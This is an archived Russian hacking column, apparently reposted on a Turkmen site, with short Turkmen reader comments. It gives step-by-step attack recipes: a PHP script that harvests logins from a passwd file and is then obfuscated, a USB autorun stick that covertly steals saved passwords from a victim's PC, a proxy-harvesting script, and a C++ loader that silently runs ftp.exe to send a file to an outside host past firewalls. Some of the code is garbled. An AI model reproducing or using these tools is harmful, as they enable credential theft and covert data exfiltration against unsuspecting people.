Programistlere help achary
Задача
Изменить вид PHP скрипта, оставив функциональность на прежнем уровне
Решение
Зачастую нам требуется видоизменить тот или иной двиг/сорец на ПХП. Причины могут быть разные: от шифрования содержимого до нарушения копирайтов. Утилы для шифрования не всегда удобны, поэтому воспользуемся обфускатором PHP кода. Действовать будем на конкретном примере.
1. Есть подопытный PHP скрипт:
<?
$fn=fopen("Eblumasswd.txt","r");
if(!$fn)
{
echo("Can't open passwd.txt");
}
else
{
while(!feof($fn))
{
$np=fgets($fn);
$str=strrev($np);
$login=substr(strrchr($str,":"),1);
$rev=strrev($login);
$fp=fopen("E:logins.txt","a");
fputs($fp,"$revn");
fclose($fp);
}
fclose($fn);
}
?>
Комментировать суть скрипта не буду, скажу лишь, что он выдирает логины юзеров из passwd-файла.
2. Заходим на http://taran.su/abf/ и загружаем наш скрипт. После чего жмем батон «GO».
3. Сохраняем полученный скрипт. Как указано на сайте: «PHPabf beta v0.1 это обфускатор PHP кода. Сама обфускация заключается в изменении имен переменных и функций, а также удалении лишних символов, в результате чего затрудняется понимание кода. Структура самой программы (последовательность функций и операторов) не меняется. Процент работоспособности скриптов после обработки – порядка 70% (возможны проблемы в скриптах, использующих ООП). В общем, кому интересно – пробуем 🙂».
4. Открываем сохраненный скрипт и смотрим содержимое:
<?php $GLOBALS[' ']="x66x6Fx70x65x6E"; $GLOBALS[' ']="x66x65x6Fx66"; $GLOBALS[' ']="x66x67x65x74x73"; $GLOBALS[' ']="x73x74x72x72x65x76"; $GLOBALS[' ']="x73x75x62x73x74x72"; $GLOBALS[' ']="x73x74x72x72x63x68x72"; $GLOBALS[' ']="x66x70x75x74x73"; $GLOBALS[' ']="x66x63x6Cx6Fx73x65"; $ =$GLOBALS<a href=""Eblumasswd.txt","r"">' '; if(!$ ) { echo("Can't open passwd.txt"); } else { while(!$GLOBALS' ') { $ =$GLOBALS' '; $ =$GLOBALS' '; $ =$GLOBALS[' ']($GLOBALS[' ']($ ,":"),1); $ =$GLOBALS' '; $ =$GLOBALS' '; $GLOBALS[' ']($ ,"$ n"); $GLOBALS' '; } $GLOBALS' '; } ?>
5. Убеждаемся в работоспособности скрипта и радуемся.
5а. Перед заливкой потри все комменты, ибо обфускатор не умеет с ними работать.
Задача
Быстро и незаметно слить пароли с локального компа на флешку
Решение
Вопрос о создании флешки «ближнего боя» известен давно. В зависимости от ОС, нужд и требуемых результатов он решался по-разному. Существует относительно простой способ подготовить носитель оперативного использования. Все, что от тебя потребуется – это прямые руки и четкое соблюдение описанных ниже инструкций. Приступим.
1. Сливаем утилу USBThief, которую мы заботливо выложили для тебя на нашем DVD.
2. Распаковываем архив и смотрим содержимое папки:
- batexe
- icons
- Dump
- nircmd.exe
- autorun.inf
3. Копируем содержимое себе на флешку, не забыв про авторан:
[autorun]
action=Open Files On Folder
icon=iconsdrive.ico
shellexecute=nircmd.exe execmd CALL batexeprogstart.bat
4. Приходим в гости к потенциальной жертве. Улучив момент, подходим к компу и вставляем флешку в свободный разъем. Ждем примерно минуту и вынимаем носитель.
5. Довольствуемся урожаем, среди которого:
- Аккаунты к IM-клиентам
- Мыльные аккаунты
- Сохраненные логины/пароли в ослике
- Журнал посещений
- Информация об ОС, апдейтах, лицензиях, etc
- Данные об открытых портах
Это далеко не полный список того, что ты можешь выловить в папке /Dump после похода в гости. Кстати, утила функционирует практически незаметно. Так что, не опасаясь разоблачения, можешь дать флешку товарищу якобы, чтобы слить у него музыки/софта.
Задача
Награбить проксиков с веба
Решение
Иногда одного-двух проксиков бывает недостаточно. Это может быть вызвано особенностью софта или поставленной задачей. Требуются большие прокси-листы, но отдавать за них деньги из собственного кармана не очень приятно. Можно обратить внимание на паблик-прокси. Они отлично подойдут для использования в сканерах (и другом полезном софте). Возникает лишь одна проблема – сбор проксиков с веба.
1. Работать будем со скриптом proxygrabber.php:
<?
set_time_limit(0);
if(!isset($POST['filename'])) {
exit(0);
}
$mask = '/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}:[0-9]+/';
$fd = fopen($_POST['filename'], "rt") or die("Can't open file");
$site_list = explode("n", fread($fd, 9999));
foreach ($site_list as $site) {
if ( ($site_fd = fopen($site, "rt")) !== false) {
while(!feof($site_fd)) {
$str = "";
$str = fgets($site_fd, 1024);
if (preg_match($mask, $str, $ip)) {
echo $ip[0] . "<br>";
}
}
}
}
?>
2. Товарищ _3lf заботливо написал хтмл-форму для удобной заливки файлов с линками на прокси-листы (лежит вместе со скриптом на нашем DVD).
3. Заливаем граббер на сервер, указываем файл с линками на прокси-листы (напарсишь в Гугле без особых проблем) и жмем «Start». Файл должен иметь вид:
http://www.site.com/list1.html
http://www.site.com/list2.html
http://www.site.com/list3.html
http://www.site2.com/list1.html
http://www.site3.com/list2.html
http://www.site4.com/list3.html
4. Собственно, все. Довольствуемся результатом.
Скрипт достаточно шустрый, однако ты вполне можешь замутить многопоточность, переписав его на перле. В общем, как добывать проксики – решать тебе 🙂.
Задача
Написать простой loader на С++
Решение
Заливать файл на сервер будем по ftp при помощи стандартной виндовой утилы ftp.exe. Процесс автоматизируем небольшой прогой на С++. Одно из преимуществ этого метода – обход криво настроенных фаерволов, так как у большинства незадачливых владельцев «огнестенок» командная строка (через которую, собственно, и работает майкрософтовский фтп-клиент) находится в списке доверенных приложений. Вооружившись компилятором, приступим к решению.
1. При запуске ftp.exe программе необходимо передать два параметра: путь до файла с командами и имя (либо IP) хоста. Допустим, наиболее безопасным местом для создания файла будет виндовая директория. Забросим в переменную com_file путь вида X:WINDOWSftp_commands:
char com_file[256];
char m_dir[256];
GetWindowsDirectory(m_dir,sizeof(m_dir));
strcpy(com_file, m_dir);
strcat(com_file,"\ftp_commands");
Здесь все предельно понятно, стоит лишь обратить внимание на двойной бэкслеш () вместо одинарного. Его нужно использовать везде, где необходимо показать вложенность директорий.
Завершим создание переменной с параметрами, используя com_file:
char param[128];
strcpy(param, "-s:");
strcat(param, com_file);
strcat(param, " ");
strcat(param, "my-host.com");
В результате в переменной param получим:
"-s:X:WINDOWSftp_commands my-host.com".
2. Начинаем общение с сервером. Путь до файла с командами определили, а с самим файлом не поработали. Исправим это: запишем в него последовательность команд, передаваемых ftp-шнику.
ofstream of(com_file);
of<<"mylogin"<<endl;
of<<"mypass"<<endl;
of<<"cd WWW"<<endl;
of<<"send " << "D:\WINDOWS\regedit.exe" << " " << "regedit.exe" << endl;
of<<"quit";
of.close();
Передаем логин и пароль. Строчкой «cd <имяпапки>» меняем директорию (если требуется). Командой send (send <локальныйфайл> <файлна_сервере>😉 будет послан экзешник с редактором реестра. Ну а строчкой «quit» попрощаемся с фтп-шником сервера.
3. Воспользуемся функцией ShellExecute() для запуска ftp.exe. Третьим параметром покажем намерение запустить виндовый фтп-клиент, а четвертым передадим подготовленную строку с параметрами для него. Чтобы не беспокоить пользователя, укажем SW_HIDE и консольный запуск ftp.exe пройдет незаметно. Набираем:
ShellExecute(0 ,NULL, "ftp", param, NULL, SW_HIDE);
Готово. Компилируем, запускаем, проверяем ftp-сервер.
Задача
Создать плацдарм для экспериментов на рабочей Винде
Решение
Отбросим в сторону скучные виртуальные машины, создание «слепков», копий системы и использование соседского компьютера для тестов необычного софта. Есть более дешевый в плане времени и сил способ.
1. Работать будем все с той же осью, приветственный экран которой видим каждый день. Могу уверить, что все нижеописанное испробовал лично и ничего с твоими форточками не случится. Итак, ставим почти бесплатную прогу ShadowUser Pro. Принцип работы основан на том, что «слепок» системы не создается, а ведется четкая история ее изменений (что экономит место на винте).
2. Выбираем Configuration на панели слева. Первая вкладка (Volumes) предоставляет нам список дисков, за изменениями которых будем следить. При тестах утил, которым мы не доверяем или не имеем понятия об их направленности, лучше перестраховаться и выбрать All Volumes. В противном случае какой-нибудь трой вольготно устроится на незащищенном носителе и продолжит свое существование после перезагрузки.
3. Следующая вкладка (Exclusion List) позволяет создавать список папок, изменения в которых отменяться не будут. В папки будем складывать результаты работы (логи, конфиги – все, что угодно), которые останутся нетронутыми при возврате к первоначальному состоянию системы. Минимальная подготовка закончена, приступим к тестам.
4. Режим, в котором можно свободно экспериментировать, называется «ShadowMode». Он запускается щелчком по кнопке Mode и выбором Activate. Действовать режим начнет только после перезагрузки, о чем будет выведено предупреждение. Перезагружаемся. Сразу заметны яркие обои, оповещающие о включенном ShadowMode (настраивается через Options -> Wallpaper). С этого момента можно выполнять любые действия. Вот что было опробовано мною:
- копирование/удаление/изменение файлов;
- инсталляция и деинсталляция программ;
- добавление/удаление разделов и значений реестра;
- изменение параметров автозагрузки в msconfig;
- изменение параметров запуска и работы сервисов;
- изменение сетевых настроек;
- смена стиля Винды, обоев и скрытие панели задач;
- запуск практически безобидного троянчика.
Наигрался? Пора возвращать все на свои места. Находим в трее ShadowUser и отключаем режим ShadowMode, выбрав Lose_All_Changes и приняв предложение перезагрузиться. После перезагрузки видим отсутствие любых изменений, внесенных при работе в ShadowMode. Удобно? И не говори 🙂.
Arhiwiň ýagdaýy
● Doly tekst
● 8/8 teswir saklanypdyr
Ýazylan saýty: teswirler.com · Çeşme: Web Archive nusgasy — ertir.com, 11 maý 2012 ý. · Asyl sahypany gör ↗
Teswirler 8
yone komekdir hemmelere. Bilyanlerem okanyngyz uchin sag bolung!
ay bilmedim soraba goremogay?
tehnokelle-köpbilmiş😆
Nazar men gunakar dal.
AY bolya dushundireyin 1-nji PHP abfuskator ulanya. Yagny saydy hakletmezlik uchin dilini uytgedyar. Yone ishjenglihi minimum 70 prosent galyar.
Gynanyan, name edeyin!
skriptin ichindaki smilikler namay, sonom hack diyip sen imenno nama diyyan her hili hacklar bara, imenno haysina garshy?
nireden aldynay kelle?